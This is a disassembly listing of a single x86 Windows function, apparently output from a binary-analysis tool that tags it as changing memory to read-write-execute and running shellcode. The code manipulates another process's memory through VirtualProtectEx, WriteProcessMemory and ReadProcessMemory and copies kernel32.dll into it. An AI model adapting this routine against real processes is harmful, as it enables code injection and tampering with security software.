Function at 0x402940
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40b300
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1070
call fcn.0040b1d0
mov eax, dword [0x410008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1080], edx
mov esi, ecx
mov dword [ebp - 0x1078], esi
mov eax, dword [ebx + 8]
mov edi, dword [ebx + 0xc]
mov dword [ebp - 0x107c], eax
test edx, edx
je 0x402d0f
test dl, 1
je 0x402a37
push 0x1000
lea eax, [ebp - 0x1018]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x101c], 0
lea eax, [ebp - 0x101c]
push eax
push 0x40
push 0x1000
push dword [ebp - 0x107c]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x402a01
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi], eax
mov eax, 0xc
jmp 0x402d11
push 0
push 0x1000
lea eax, [ebp - 0x1018]
push eax
push dword [ebp - 0x107c]
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push esi
call eax
test eax, eax
jne 0x402ade
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi], eax
mov eax, 9
jmp 0x402d11
test dl, 2
je 0x402ae4
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x103c], eax
test eax, eax
jne 0x402a67
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi], eax
mov eax, 0x1b
jmp 0x402d11
lea eax, [ebp - 0x101c]
mov dword [ebp - 0x101c], 0
push eax
push 0x40
push 0x1000
push dword [ebp - 0x107c]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x4029ef
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0x1000
push dword [ebp - 0x103c]
push dword [ebp - 0x107c]
push esi
call eax
test eax, eax
je 0x402a25
lea eax, [ebp - 0x101c]
push eax
push dword [ebp - 0x101c]
push 0x1000
push dword [ebp - 0x107c]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x4029ef
mov edx, dword [ebp - 0x1080]
test dl, 4
je 0x402d0f
xorps xmm0, xmm0
mov dword [ebp - 0x1020], 0
lea ecx, [ebp - 0x1038]
movq qword [ebp - 0x1028], xmm0
movups xmmword [ebp - 0x1038], xmm0
call fcn.00406bf0
push esi
lea ecx, [ebp - 0x1038]
mov dword [ebp - 4], 0
call fcn.00406c90
push dword [ebp - 0x107c]
lea ecx, [ebp - 0x1038]
call fcn.00406e60
mov edi, eax
test edi, edi
jne 0x402b53
lea ecx, [ebp - 0x1038]
lea esi, [eax + 8]
call fcn.00406c80
mov eax, esi
jmp 0x402d11
push 0x30
lea eax, [ebp - 0x1070]
mov dword [ebp - 0x1074], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1074]
push 0
push 0x34
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x402b9c
lea ecx, [ebp - 0x1038]
lea esi, [eax + 0xb]
call fcn.00406c80
mov eax, esi
jmp 0x402d11
mov esi, dword [ebp - 0x1064]
lea eax, [ebp - 0x1040]
mov edi, dword [ebp - 0x1060]
push 0
push 8
push eax
push esi
push dword [ebp - 0x1078]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 8
lea eax, [ebp - 0x1040]
mov dword [ebp - 0x103c], edi
push eax
push esi
push dword [ebp - 0x1078]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 8
lea eax, [ebp - 0x1040]
push eax
push edi
push dword [ebp - 0x1078]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 8
lea eax, [ebp - 0x1040]
mov dword [ebp - 0x1040], esi
push eax
push edi
push dword [ebp - 0x1078]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov esi, dword [ebp - 0x1074]
lea eax, [ebp - 0x1040]
mov edi, dword [ebp - 0x1070]
push 0
push 8
push eax
push esi
push dword [ebp - 0x1078]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 8
lea eax, [ebp - 0x1040]
mov dword [ebp - 0x103c], edi
push eax
push esi
push dword [ebp - 0x1078]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 8
lea eax, [ebp - 0x1040]
push eax
push edi
push dword [ebp - 0x1078]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 8
lea eax, [ebp - 0x1040]
mov dword [ebp - 0x1040], esi
push eax
push edi
push dword [ebp - 0x1078]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov esi, dword [ebp - 0x106c]
lea eax, [ebp - 0x1040]
mov edi, dword [ebp - 0x1068]
push 0
push 8
push eax
push esi
push dword [ebp - 0x1078]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 8
lea eax, [ebp - 0x1040]
mov dword [ebp - 0x103c], edi
push eax
push esi
push dword [ebp - 0x1078]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 8
lea eax, [ebp - 0x1040]
push eax
push edi
push dword [ebp - 0x1078]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 8
lea eax, [ebp - 0x1040]
mov dword [ebp - 0x1040], esi
push eax
push edi
push dword [ebp - 0x1078]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea ecx, [ebp - 0x1038]
call fcn.00406c80
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040a480
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret